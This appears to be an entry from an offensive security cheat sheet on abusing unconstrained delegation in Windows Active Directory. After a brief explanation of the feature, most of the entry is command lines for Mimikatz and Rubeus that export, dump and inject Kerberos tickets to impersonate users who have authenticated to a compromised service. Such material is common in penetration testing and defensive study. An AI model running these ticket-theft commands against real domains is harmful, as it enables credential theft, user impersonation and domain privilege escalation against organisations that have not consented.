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🟢Unconstrained Delegation

Unconstrained delegation is a feature within Windows Active Directory environments that allows a service to act on behalf of a user. This means a service, when granted the permission to use unconstrained delegation, can access resources anywhere in the domain using the identity of a user who has authenticated to the service.

The commands under both the MimiKatz and Rubeus sections are tools used to exploit the unconstrained delegation feature.

These tools can request, export, and import Kerberos tickets, allowing attackers to impersonate any user who has authenticated to the compromised service, potentially leading to elevated privileges within the domain.

Unconstrained Delegation with MimiKatz

sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi

Unconstrained Delegation with Rubeus

.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:RFSSCC[...]

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